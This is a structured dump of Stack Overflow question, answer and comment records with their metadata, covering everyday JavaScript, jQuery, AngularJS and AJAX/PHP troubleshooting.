tags question: http://stackoverflow.com/q/25748419
tags question: http://stackoverflow.com/q/25854385
tags question: http://stackoverflow.com/q/25796379
tags question: http://stackoverflow.com/q/25724429
tags question: http://stackoverflow.com/q/25762476
tags question: http://stackoverflow.com/q/25858547
tags question: http://stackoverflow.com/q/25827598
tags question: http://stackoverflow.com/q/25823534
tags question: http://stackoverflow.com/q/25814089
tags question: http://stackoverflow.com/q/25851368
tags question: http://stackoverflow.com/q/25786671
tags question: http://stackoverflow.com/q/25780372
tags question: http://stackoverflow.com/q/25762794
tags question: http://stackoverflow.com/q/25868260
tags question: http://stackoverflow.com/q/25779744
tags question: http://stackoverflow.com/q/25728228
tags question: http://stackoverflow.com/q/25823986
tags question: http://stackoverflow.com/q/25780700
tags question: http://stackoverflow.com/q/25748847
tag name: cordova
tags question: http://stackoverflow.com/q/25793273
tags question: http://stackoverflow.com/q/25831977
tags question: http://stackoverflow.com/q/25805579
tags question: http://stackoverflow.com/q/25730637
tags question: http://stackoverflow.com/q/25793222
tags question: http://stackoverflow.com/q/25817991
tags question: http://stackoverflow.com/q/25873077
tags question: http://stackoverflow.com/q/25852695
tags question: http://stackoverflow.com/q/25730702
tags question: http://stackoverflow.com/q/25716693
tags question: http://stackoverflow.com/q/25806236
tags question: http://stackoverflow.com/q/25811932
tags question: http://stackoverflow.com/q/25820382
tags question: http://stackoverflow.com/q/25832142
tags question: http://stackoverflow.com/q/25784258
tags question: http://stackoverflow.com/q/25849517
tags question: http://stackoverflow.com/q/25800962
tags question: http://stackoverflow.com/q/25765454
tags question: http://stackoverflow.com/q/25743444
tags question: http://stackoverflow.com/q/25828688
tags question: http://stackoverflow.com/q/25763695
tags question: http://stackoverflow.com/q/25736058
tags question: http://stackoverflow.com/q/25751494
tags question: http://stackoverflow.com/q/25869735
type: Tag
tags question: http://stackoverflow.com/q/25854378
tags question: http://stackoverflow.com/q/25820623
tags question: http://stackoverflow.com/q/25817675
tags question: http://stackoverflow.com/q/25822003

http://stackoverflow.com/a/75657150
type: Answer
has body: Just add closeOnSelect: false The button will works.
score: 0
answers question: http://stackoverflow.com/q/25848177

http://stackoverflow.com/comment/40482570
type: QuestionComment
has text: You should at least specify how this PHP code communicate with your client-side part. It is from an AJAX call, or do you output the HTML later on ?
score: 2
comment on: http://stackoverflow.com/q/25869970
type: Comment

http://stackoverflow.com/comment/40339539
has text: Don't try. JavaScript is not Java, accept that. You're not gaining any security through this, and I'd bet it doesn't make your code more usable or faster.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25779491

http://stackoverflow.com/q/25779459
has answer: http://stackoverflow.com/a/25779591
upvote count: 2
answer count: 2
has body: So, I created a small asp page where I pull up some data from AD and display it into a table. If I try to open "abc.asp" page, it displays properly, displaying the table. Simple stuff. Now, I tried to move the code to an html file, so that it is easy to link the html document in different parts of website. So, I can open "abc.html" which is basically just an empty html document, with the asp code wrapped in script tags as below. Now, I have no idea what the hell is wrong. But, the code is displayed as is, instead of actually running the code and displaying the result. I am pretty sure I am missing something small, but I can't figure it out. So, here I am, trying to figure out the reason.
accepted answer: http://stackoverflow.com/a/25779809
has comment: http://stackoverflow.com/comment/40318418
tagged with: vbscript
linked to: http://stackoverflow.com/q/11793891
tagged with: asp-classic
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
has title: HTML page displays vbscript code, instead of running the script. Why?
type: Question
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25779809
favorite count: 0
possible better answer: http://stackoverflow.com/a/25779591

http://stackoverflow.com/comment/116442658
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25888461
has text: The demo is currently not working, as it fetches the D3JS script by HTTP, not HTTS (strange that the )other demos work. I have informed the author. You can still Ctr-U or F12 to study the code, or copy it to `localhost` and edit to fetch D3JS by HTTP to see it in action.
score: 0

http://stackoverflow.com/comment/40240289
type: Comment
comment on: http://stackoverflow.com/q/25736697
has text: @marmar and the problem was... ?
score: 1
type: QuestionComment

http://stackoverflow.com/comment/40444933
comment on: http://stackoverflow.com/q/25807324
has text: What exactly do you want to do? Is your goal this, that you want click on a link and whit you delete all rows?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25805964
has comment: http://stackoverflow.com/comment/40365703
downvote count: 0
answers question: http://stackoverflow.com/q/25805795
type: Answer
has body: edited: Your Code Is Not Light, You send Ajax request To "MEAS.php" ?? which Is "MEAS.php"'s Code ?? if "MEAS.php" is: &lt;?php $VARIABLE = $_POST['VARIABLE']; $conn = blah,blah if (!$conn) { echo "Unable to connect to DB: " . mysql_error(); exit; } if (!mysqli_select_db($conn, "TRACK")) { echo "Unable to select mydbname: " . mysql_error(); exit; } $result = $conn-&gt;query("SELECT VARIABLE FROM MEASTEST WHERE VARIABLE LIKE '$VARIABLE' "); You Must Set Response "Content-type" with header function: header("Content-Type: application/json") and return a json: echo json_encode(" your Response Data ")
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40368018

http://stackoverflow.com/comment/40443870
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25848177
score: 0
has text: But actually when I debugged into the code I realized that the handler doesn't even get called, so it's not realted to how I prevent or not prevent it from bubbling.

http://stackoverflow.com/q/25715835
has comment: http://stackoverflow.com/comment/40200262
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40200256
score: 1
tagged with: indexof
type: Question
tagged with: arrays
answer count: 1
has comment: http://stackoverflow.com/comment/40200198
downvote count: 0
tagged with: javascript
tagged with: string
has comment: http://stackoverflow.com/comment/40200237
favorite count: 0
has title: Javascript function indexOf returns incorrect results
has body: I have these two arrays: array1 = ["a,1", "b,2", "c3", "d4", "e5", "f6"]; array2 = [1, 2, 3, 4]; And I'm trying to find out if an element of the first array is in the second one. for (i = 0; i &lt; array1.length; i++) { if(array2.indexOf(array1[i][1]) != -1) { console.log('In array: '+array1[i][1]); } else { console.log('NOT in array: '+array1[i][1]); } In this case, I always get the message NOT in array ... But if I modify the code this way: for (i = 0; i &lt; array1.length; i++) { if(array2.indexOf(1) != -1) { console.log('In array: '+array1[i][1]); } else { console.log('NOT in array: '+array1[i][1]); } The output is In array: .... With a number as a parameter of the indexOf() function it's working, but no with the variable... how is that possible? Thank you
tagged with: integer
has answer: http://stackoverflow.com/a/25715929

http://stackoverflow.com/comment/40334488
comment on: http://stackoverflow.com/q/25788887
score: 0
has text: Have you tried on $(document).on("ajaxComplete", (){ $("#loading").remove(); })
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25753827
tagged with: javascript
answer count: 2
has comment: http://stackoverflow.com/comment/40271467
upvote count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40271411
favorite count: 0
has answer: http://stackoverflow.com/a/25753848
accepted answer: http://stackoverflow.com/a/25753848
possible better answer: http://stackoverflow.com/a/25754086
linked to: http://stackoverflow.com/q/12829963
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25754086
downvote count: 0
score: 1
has body: After appending a button on Html document the jQuery event associated with it not working ? For example: $("#mydiv").append('X');//this is button appending $("#mybutton").click(function(){ alert("hello"); });
tagged with: dom
type: Question
has comment: http://stackoverflow.com/comment/40271515
has title: Javascript, Jquery ,DOM
has comment: http://stackoverflow.com/comment/40271593

http://stackoverflow.com/comment/40378515
has text: Yeah, good call, I had just come to that same conclusion. I originally tried it in Chrome.
type: Comment
comment on: http://stackoverflow.com/a/25812911
type: AnswerComment
score: 0

http://stackoverflow.com/a/25843780
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25843575
has body: You need to use $("#username_results").text() &lt;span&gt; doesn't have value that's why it's returning nothing to you. I've made JSBin for you: http://jsbin.com/renivuroziqi/2/edit
answers question: http://stackoverflow.com/q/25843575
score: 1

http://stackoverflow.com/comment/40349074
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25796329
type: QuestionComment
has text: It looks like you can add an onclick action to your outgoing links and make an ajax call to your app to track the clicks. (https://support.google.com/analytics/answer/1136920?hl=en)

http://stackoverflow.com/q/25858076
has comment: http://stackoverflow.com/comment/40462677
downvote count: 0
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40462158
has answer: http://stackoverflow.com/a/25858300
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
has body: If I've got a promise from, for example, and HTTP request: $scope.myHttpPost = $http.post(…); Is it possible to bind to the status (loading / done / error) in a template? For example, something like: Loading… Success! Error :(
upvote count: 1
has comment: http://stackoverflow.com/comment/40463256
score: 1
has title: Angular bind to the status of a promise?
has comment: http://stackoverflow.com/comment/40462128
type: Question

http://stackoverflow.com/a/25799197
type: Answer
has comment: http://stackoverflow.com/comment/71755308
has comment: http://stackoverflow.com/comment/40415221
answers question: http://stackoverflow.com/q/25786826
has comment: http://stackoverflow.com/comment/40417377
has body: Are you definitely using the asynchronous version of the tracking code? If you look in your Marketo admin, under Tracking Code, there is a drop-down to select the Tracking Code Type - make sure this is on Asynchronous, and then use that particular script block in your site. Also, if you look under the Treasure Chest section in the admin, there is an option to enable the beta Munchkin code - maybe enabling try that if the above doesn't work.
score: 0

http://stackoverflow.com/comment/40204380
comment on: http://stackoverflow.com/q/25718053
score: 0
type: Comment
type: QuestionComment
has text: Because ,you are not printing anything from your servlet.

http://stackoverflow.com/a/25774200
downvote count: 0
has comment: http://stackoverflow.com/comment/40309310
type: Answer
has comment: http://stackoverflow.com/comment/40312442
accepted answer of: http://stackoverflow.com/q/25773980
score: 1
answers question: http://stackoverflow.com/q/25773980
upvote count: 1
has body: In the documentation it says you need to add double slashes to escape a special character. But since \ by itself is an escape character, it needs to be doubled up. As a result, you need to have 4 slashes to match a single slash. $('[test="\\\\"]') And I mentioned in my comment, you have no attribute value, it is test. And the jQuery documentation has a list of all the special characters in selectors that need to be escaped.
type: AcceptedAnswer

http://stackoverflow.com/comment/40244597
type: AnswerComment
score: 0
has text: Have tried that. It is exactly what i expect to see, 'flushed'. But it just doesn't happen. Consequently, if I flush $httpBackend again i'm getting 'no pending request' error...
type: Comment
comment on: http://stackoverflow.com/a/25739319

http://stackoverflow.com/q/25722682
linked to: http://stackoverflow.com/q/15616530
has title: Iterate over an object in Google Apps script
accepted answer: http://stackoverflow.com/a/25723140
favorite count: 0
possible better answer: http://stackoverflow.com/a/62735012
type: AnsweredQuestion
has body: I thought my question would be answered with this or this but neither is what I'm looking for. I have an object in Google Script, and want to iterate over each element: var dict = { "foo": "a", "bar": "b" }; for each key, element in dict{ print the key and the element } Is this possible?
type: Question
has answer: http://stackoverflow.com/a/25723140
upvote count: 9
linked to: http://stackoverflow.com/q/18347921
score: 9
tagged with: google-apps-script
answer count: 2
has answer: http://stackoverflow.com/a/62735012
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40359094
type: Comment
type: QuestionComment
has text: You should provide some additional details on your `jqGrid` options. Jsfiddle would be even nicer. In documentation it's said that _jqGrid works this way only if datatype is set to local. Otherwise, the sortname string is sent in the sidx URL parameter and the server side has to take care of the sorting._ So what is your `data` type?
score: 1
comment on: http://stackoverflow.com/q/25801755

http://stackoverflow.com/a/25813884
type: AcceptedAnswer
downvote count: 0
has body: I suggest you use the under-utilized TreeWalker DOM API, as follows: var walk = document.createTreeWalker(document, NodeFilter.SHOW_TEXT, null, false), n; while(n = walk.nextNode()) { n.nodeValue = n.nodeValue.replace(/foo/g, 'bar'); } The NodeFilter.SHOW_TEXT tells TreeWalker you only are interested in text nodes. See https://developer.mozilla.org/en/docs/Web/API/TreeWalker for more information. But you want to replace the text with a more complex DOM structure, involving the em element, so we have to do a bit more work: function emphasize(regexp) { var walk = document.createTreeWalker(document, NodeFilter.SHOW_TEXT, null, false), n, span; while (n = walk.nextNode()) { newVal = n.nodeValue.replace(regexp, function(match) { return "&lt;em&gt;" + match + "&lt;/em&gt;"; }); if (newVal !== n.nodeValue) { span = document.createElement('span'); span.innerHTML = newVal; n.parentNode.replaceChild(span, n); } } } It could be Nodewalker will not be too happy about having its current node being replaced out from under it. That would require a bit of testing and possible tweaking.
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25813752
accepted answer of: http://stackoverflow.com/q/25813752

http://stackoverflow.com/a/25847963
downvote count: 0
has comment: http://stackoverflow.com/comment/40444146
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25847875
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25847875
has comment: http://stackoverflow.com/comment/40444226
has body: Change dataType: "text" to dataType: "json" and echo ONLY JSON string (otherwise it will throw error): &lt;?php $array = ['name' =&gt; 'Jogn', 'age' =&gt; 20]; echo json_encode($array);
has comment: http://stackoverflow.com/comment/40444110
type: AcceptedAnswer

http://stackoverflow.com/a/25807440
has body: The @ symbol on scope transforms whatever you pass to the attribute games into text, and passes it into your directive. If you use the = symbol, you can pass a scope variable into the directive. With @, scope.games will be a string With =, scope.games will be your json object var gameOdds = function(){ return { template: '{{games["@homeTeam"]}} vs {{games["@awayTeam"]}}', scope: { games: '=' } }; }; &lt;div game-odds games="games"&gt;
has comment: http://stackoverflow.com/comment/40368324
answers question: http://stackoverflow.com/q/25806876
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25806876
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/25747109
downvote count: 0
has title: Asserting values in node.js
tagged with: javascript
has comment: http://stackoverflow.com/comment/40268690
favorite count: 0
has comment: http://stackoverflow.com/comment/40259601
has answer: http://stackoverflow.com/a/25748063
tagged with: node.js
answer count: 4
accepted answer: http://stackoverflow.com/a/25751588
has body: I have a function, Edit1 - Updated function with real one because the previous one was simplified synchronous function and the code would have worked as correctly pointed by @AlexMA in the comments 'returnSuccessOrFailure': function () { return driver.findElement(wd.By.css('div#button')).then(function (button) { return button.getAttribute('class').then(function (status) { return status; }); }); } In my node.js test, my assertion is failing because the assert is called before returnSuccessOrFailure finishes execution. var value = returnSuccessOrFailure(); assert.equal(value,'success', 'Looks like something failed'); If I implement a promise in returnSuccessOrFailure and chain my assert then that works. My question is do I have to implement promises all the time for such situations to block the execution? I am new to Javascript and the async nature of it and any insight when to use promises and when not to would be useful.
upvote count: 1
has comment: http://stackoverflow.com/comment/40260124
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/22539815
score: 1
has answer: http://stackoverflow.com/a/25747373
has comment: http://stackoverflow.com/comment/40261238
type: Question
tagged with: assert
has answer: http://stackoverflow.com/a/25751588
possible better answer: http://stackoverflow.com/a/25747373
has comment: http://stackoverflow.com/comment/40261194
has answer: http://stackoverflow.com/a/25747922

http://stackoverflow.com/q/25859124
answer count: 1
has comment: http://stackoverflow.com/comment/40463495
tagged with: jquery
has comment: http://stackoverflow.com/comment/40463602
has answer: http://stackoverflow.com/a/25859850
has comment: http://stackoverflow.com/comment/40463640
has comment: http://stackoverflow.com/comment/40463887
has body: I didn't think this was possible until console.log(); shown me that whats happening is impossible. I can't understand how this is possible it's like those variables are being modified before code execution finishes. I got this JavaScript code with debugging in it. It's wrapped in this. $('#buyAmountInput').keyup(function () { var buyAmount = parseFloat($(this).val()); var totalPrice = 0; var max = $(this).attr("max"); var min = $(this).attr("min"); if (buyAmount != $(this).val()) { if (isNaN(buyAmount)) { buyAmount = 1; $(this).val(''); } else { $(this).val(buyAmount); } } else { if (buyAmount &gt; max) { buyAmount = max; $(this).val(buyAmount); } else if (buyAmount &lt; min) { buyAmount = min; //$(this).val(buyAmount); } } totalPrice = buyAmount * unitPrice; //lots of code trimmed off here. largessAmount = Math.round(buyAmount * largessRule.rebate) / 100; //// console.log("Buy amount " + buyAmount + " LargessRebate " + largessRule.rebate); console.log("Total Price " + totalPrice); console.log("Largess Amount " + largessAmount); console.log("New rate " + Number(totalPrice / (buyAmount + largessAmount)).moneyFormat()); console.log("No .moneyFormat() New rate " + Number(totalPrice / (buyAmount + largessAmount))); console.log("( " + totalPrice + " / ( " + buyAmount + " + " + largessAmount + " ))"); //// $('#unitPrice').html(Number(totalPrice / (buyAmount + largessAmount)).moneyFormat()); }); Debug looks like this Buy amount 5000 LargessRebate 20 Total Price 4250 Largess Amount 1000 New rate 0.71 No .moneyFormat() New rate 0.7083333333333334 ( 4250 / (5000 + 1000)) function fastKeyListener content_script.js:208 Buy amount 5000 LargessRebate 20 Total Price 4250 Largess Amount 1000 New rate 0.00 //&lt;- What happened here No .moneyFormat() New rate 0.00008499830003399932 //&lt;- What happened here ( 4250 / (5000 + 1000)) //&lt;- Third line executed this will give good rate.. Even if the variables are global and this code is in a keypress up jQuery callback function. The v…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40463575
has comment: http://stackoverflow.com/comment/40463612
type: Question
has comment: http://stackoverflow.com/comment/40463511
tagged with: javascript
has title: JavaScript stops execution half way and evaluates wrong answer?, Console.log is correct
accepted answer: http://stackoverflow.com/a/25859850
has comment: http://stackoverflow.com/comment/40463818
score: 0
has comment: http://stackoverflow.com/comment/40464251
has comment: http://stackoverflow.com/comment/40463585

http://stackoverflow.com/comment/40322690
has text: $routechangestart is an angular built in event that's fired when the url route changes. You can probably find this in the docs for $rootscope. I'd suggest putting this code in the controller that's active when the route changes or even better doing it in a service and injecting into your controller
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25770503

http://stackoverflow.com/q/25772074
possible better answer: http://stackoverflow.com/a/25772341
answer count: 2
upvote count: 0
has body: Good day, I have a table with data that I was trying to convert into a json format so i can print it with my JSPDF plugin but the problem is I cant seem to insert the proper json format into my existing json data. here is my script that convert table data into json $('.report-table tr').each(function(){ var obj = {}; obj['column'] = [{}]; obj['column']['value']=[]; $('th', this).each(function(){ //obj.column.value.push($(this).text()); obj['column']['value'] = $(this).text(); // obj.column.value.push($(this).text()); // obj['column'] = $(this).text(); }); $('td', this).each(function(){ // obj.column.value.push($(this).text()); obj['column']['value'] = $(this).text(); }); dynamic.contents.data.push(obj); }); this is my existing json data that i want to be appended var dynamic = { "documentTitle": "Dynamic Print", "pageTitle": "Dynamic Print", "image": '', "pageType": "d", "columns": 5, "contents": { "data": [ { "column": [ { "value": "Jan.2007" }, { "value": "Jan.2008" }, { "value": "Jan.2009" }, { "value": "Jan.2010" }, { "value": "Period End" } ], "header": true, "fontType": "b", "highLight": 1, "newLine": 1 }, { "column": [ { "value": "-95000100" }, { "value": "85411250" }, { "value": "0" }, { "value": "55000250" }, { "value": "Dynamic print 1 Dynamic print 1 Dynamic Dynamic print 1Dynamic print 1print 1" } ], "indent": 1 }, { "column": [ { "value": "95000100" }, { "value": " " }, { "value": "55000250" }, { "value": "55000250" }, { "value": "Dynamic print 1 Dynamic print 1 Dynamic Dynamic print 1Dynamic print 1print 1" } ] }, { "column": [ { "value": "95000100" }, { "value": "85411250" }, { "value": "55000250" }, { "value": "55000250" }, { "value": "Dynamic print 1 " } ] }, { "column": [ { "value": "95000100" }, { "value": "85411250" }, { "value": "55000250" }, { "value": "55000250" }, { "value": "Dynamic print 1 " } ] }, { "hr": 1, "highLight": 1, "column": [ { "value": "95000100" }, { "value": "85411250" }, { "value": "55000250" }, { "value": "55000250" }, { "va…
has answer: http://stackoverflow.com/a/25772341
tagged with: jquery
favorite count: 0
has title: Data from Table to json
accepted answer: http://stackoverflow.com/a/25772319
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
downvote count: 1
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25772319
score: -1

http://stackoverflow.com/q/25747325
tagged with: ruby
tagged with: angularjs
score: 0
type: UnansweredQuestion
tagged with: ruby-on-rails
tagged with: coffeescript
has title: Inject Angular into Rails
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25756810
has body: There're a lot of articles on this topic, but in my mind the easiest way to start with are railscast angular and this one http://asanderson.org/posts/2013/06/03/bootstrapping-angular-rails-part-1.html. Each of this articles(videos) share almost the same code. I tried to implement both ways, but neither of them works. This is my way: application.js //= require angular //= require_tree . //= require underscore user.js.coffee #= require_self #= require_tree ./controllers assets/javascript/controllers/mainIndexCtrl.js.coffee @IndexCtrl = ($scope) -> $.scope.title = "WWAAAAAAA" $scope.Data = {} $scope.Data.doClick = -> responsePromise = $http.get('/user/photos_show') responsePromise.success (data) -> $.scope.Data.Response = data application.html.erb show.html.erb <%= notice %> Hello there <%= @user.name %> Here are your albums {{title}} <% @albums.each do |album| %> <%= link_to album.last, album_photos_path( album_id: album.first, album_name: album.last ) %> <% end %> The libraries I added to vendor/assets/javascript and to gemfile as 2 variant.In the result "title" doesn't show the right way and shows {{title}}. Thanks for answering.
tagged with: javascript
has answer: http://stackoverflow.com/a/25749690
has comment: http://stackoverflow.com/comment/40263214

http://stackoverflow.com/q/25778453
has comment: http://stackoverflow.com/comment/40316107
tagged with: css
score: 2
has comment: http://stackoverflow.com/comment/40316109
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25778629
has comment: http://stackoverflow.com/comment/40316252
has comment: http://stackoverflow.com/comment/40316283
downvote count: 0
has body: I just made a table which has 120 rows, I am going to put pages numbers on the bottom to let the user select, I want to show 15 rows in one page and when the user click the second page the rows should be replaced with new 15 rows. numbers address 3 test 5 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 3 test 5 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 3 test 5 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 1 test 3 2 1
has title: replace div content with css3 onclick
has comment: http://stackoverflow.com/comment/40316191
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/40316110
has answer: http://stackoverflow.com/a/25778710
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25778710
tagged with: jquery
has answer: http://stackoverflow.com/a/25778664
has answer: http://stackoverflow.com/a/25778629
answer count: 3
tagged with: http://stackoverflow.com/tag/html
favorite count: 0

http://stackoverflow.com/a/25750278
type: Answer
downvote count: 0
has body: For the validation part of your question, I would just check for user along with user.firstname: if(!user || !user.first){ $ionicPopup.alert({ title: 'First Name Required!', template:'Firstname' }); and you can use $ionicLoading, after injecting it into the controller, like this: else { $ionicLoading.show({ template: 'Loading...' }); Friends.setall(user).then(function(msg){ console.log("From server"+msg.data); $ionicLoading.hide(); }); }
has comment: http://stackoverflow.com/comment/40439069
score: 3
accepted answer of: http://stackoverflow.com/q/25749371
answers question: http://stackoverflow.com/q/25749371
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/q/25728112
has answer: http://stackoverflow.com/a/31036609
favorite count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/14780838
upvote count: 1
has answer: http://stackoverflow.com/a/25728331
tagged with: google-hangouts
score: 1
type: Question
has title: Integrating Google hangouts in Google Sites
answer count: 2
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40223103
has body: is it possible to embed a javascript (or any widget) in a Google Sites page? What I need is a simple button that opens a new hangout, for example with a predefined email address. Example, when a user clicks on that button, he is automatically put in a HO that calls my email address. I know that google Sites has many html/javascript constraints and I would like to know if / how can it be done.
tagged with: http://stackoverflow.com/tag/html
tagged with: google-sites

http://stackoverflow.com/comment/40272045
type: AnswerComment
has text: @Barmar well if those links are things that return attachments (like, files to download), then it'd work.
type: Comment
comment on: http://stackoverflow.com/a/25754153
score: 1

http://stackoverflow.com/comment/40486993
score: 0
has text: Isn't saying it will be the height of the page fixing it's height? I guess I could have a div with no background so you can't tell it's there and put the 'side nav' within that.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25871716

http://stackoverflow.com/comment/40309886
type: QuestionComment
score: 0
has text: I would suggest you https://github.com/jmar/jquery-hoverZoom this one helped me lot of times.
comment on: http://stackoverflow.com/q/25774412
type: Comment

http://stackoverflow.com/comment/40466386
type: Comment
comment on: http://stackoverflow.com/q/25860834
type: QuestionComment
has text: fascinating what a google search of `jquery add class` turns up....amazing how the first result matches all the answers
score: 0

http://stackoverflow.com/comment/40362180
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25803653
has text: A few comments - it's often a bad idea to trigger animations on the `scroll` event - it usually leads to really bad UI performance. You should look into debouncing the scroll event to avoid triggering your handler repeatedly in a very short space of time (http://benalman.com/code/projects/jquery-throttle-debounce/examples/throttle/). Secondly, disabling scroll _during a scroll event_ is bound to confuse people!

http://stackoverflow.com/comment/40343531
comment on: http://stackoverflow.com/a/25793535
type: AnswerComment
score: 0
has text: I've update my question above with your suggestion but this still does not work. This even breaks it in chrome. In chrome it will go back in history but the POST is not working
type: Comment

http://stackoverflow.com/comment/40377870
score: 1
type: AnswerComment
has text: Yeah, it looks like you basically implemented my method (using `this`), though in a slightly different way - by setting an explicit reference to `this`. Removing the local variables was definitely a good decision, as it makes things a whole lot clearer. Well done.
type: Comment
comment on: http://stackoverflow.com/a/25811479

http://stackoverflow.com/comment/40306174
type: Comment
has text: You should post it as an answer if it's something else.
comment on: http://stackoverflow.com/a/25772084
score: 0
type: AnswerComment

http://stackoverflow.com/a/25759475
score: 0
answers question: http://stackoverflow.com/q/25758969
type: Answer
has body: for your case try following $('#imgUpload').attr('src', String.fromCharCode.apply(null, data.d.ItemImage1));
has comment: http://stackoverflow.com/comment/40281271

http://stackoverflow.com/q/25756104
has title: Regex email validation - No consecutive hyphens in domain
tagged with: javascript
score: -1
linked to: http://stackoverflow.com/q/201323
has answer: http://stackoverflow.com/a/25756139
tagged with: email
answer count: 1
has comment: http://stackoverflow.com/comment/40275502
duplicate of: http://stackoverflow.com/q/201323
favorite count: 0
has comment: http://stackoverflow.com/comment/40275522
has comment: http://stackoverflow.com/comment/40275552
tagged with: regex
accepted answer: http://stackoverflow.com/a/25756139
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40275776
has comment: http://stackoverflow.com/comment/40275601
has comment: http://stackoverflow.com/comment/40275598
downvote count: 1
type: Question
has body: I have this regulular expression to validate email id but I can't allow two consecutive hyphen on domain, However it doesn't works for me whatever the fix I made. Could anyone please help? /^[a-zA-Z\-0-9](([^&lt;&gt;()[\]\\.,;:\s@\"]+(\.[^&lt;&gt;()[\-\].,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ Test Id to fail case: sant@y--t.com Please help, Thanks for your assisstance!
upvote count: 0

http://stackoverflow.com/a/25729247
accepted answer of: http://stackoverflow.com/q/25728881
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25728881
type: Answer
has body: You can pass an array of property names to the filter, and prefix a property name with - to reverse... ... -mainContact - first sort by mainContact property in reverse order (because true = 1, false = 0) (reverse ? '-' : '') + predicate - then sort by the predicate, appending a - if reverse is true Live Demo
score: 2
downvote count: 0
upvote count: 2

http://stackoverflow.com/q/25858563
type: Question
has answer: http://stackoverflow.com/a/25860963
accepted answer: http://stackoverflow.com/a/25860963
score: 5
tagged with: javascript
linked to: http://stackoverflow.com/q/16677487
has comment: http://stackoverflow.com/comment/40462360
has title: Angularjs Resource URL
answer count: 1
downvote count: 0
favorite count: 0
upvote count: 5
tagged with: angularjs
type: AnsweredQuestion
has body: I'm a beginner with AngularJS, and can't find my error in this code var myCarResource = $resource('cars/:carId', { carId:'@id' }); var car = myCarResource.get({id:'abc'}); Expected URL : .../cars/abc The called URL is: .../cars?id=abc I'm using angularjs v1.2.24 Can anyone help me? Thanks
tagged with: angularjs-resource

http://stackoverflow.com/q/25764529
tagged with: servlets
score: 0
has body: I have an ajax get request to my server(where Text is my sentence I want to send to my server) $.get("http://localhost:8080/myname/MyServlet?actn=InsertData&amp;sentence="+Text,function(data){ }); And in my MyServlet class I have the function InsertData and there I print the sentence i've sent from the $.get call public String InsertData(String Sentence) { System.out.println(Sentence); ........... ........... } The problem is if for example im sending the sentence : The stock’s rise has boosted Zuckerberg’s wealth to $34.5 billion, according to the Bloomberg Billionaires Index. The output in InsertData : The stock?s rise has boosted Zuckerberg?s wealth to $34.5 billion, according to the Bloomberg Billionaires Index. Another example for the problem : Facebook shares had already jumped 81 percent in the 12 months through Sept. 5, compared with a 21 percent increase for the S&amp;P 500. The output in InsertData : Facebook shares had already jumped 81 percent in the 12 months through Sept. 5, compared with a 21 percent increase for the S I tried using encodeURIComponent but it doesn't solve it. I tried to use UTF-8 decoding on the servlets but it doesn't solve either. How can I solve that?
answer count: 1
tagged with: jquery
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25764625
tagged with: java
has title: JQuery & Java servlets : escaping special characters
type: Question
tagged with: javascript
tagged with: character-encoding

http://stackoverflow.com/comment/62154185
type: Comment
has text: @Eye How does node-filewalker address the problem though?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25758034

http://stackoverflow.com/q/25826773
type: AnsweredQuestion
type: Question
has body: I have a textbox set as a result output for a JavaScript game I am making. However, I would like the textbox to automatically jump down when the text is loaded into the textbox. Is that possible? HTML Your past guesses: JS function userGuess() { var nGuess = document.getElementById("nGuess").value; var theResults = document.getElementById("showResults"); if (nGuess == numToGuess) { theResults.value = theResults.value + "\r" + "Congratulations, that is right! You guessed " + nGuess + "."; } else if (nGuess > numToGuess) { theResults.value = theResults.value + "\r" + "Try something lower, that is too high! You guessed " + nGuess + "."; } else { theResults.value = theResults.value + "\r" + "Whoops, that is too low, try again! You guessed " + nGuess + "."; } } I tried using scrollTop and it overwrote the JS I had for the showResults.
tagged with: javascript
has title: Dynamically Loaded Text in a Textarea, Scroll Down Automatically Using Javascript?
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40407205
has answer: http://stackoverflow.com/a/25827568
accepted answer: http://stackoverflow.com/a/25827568

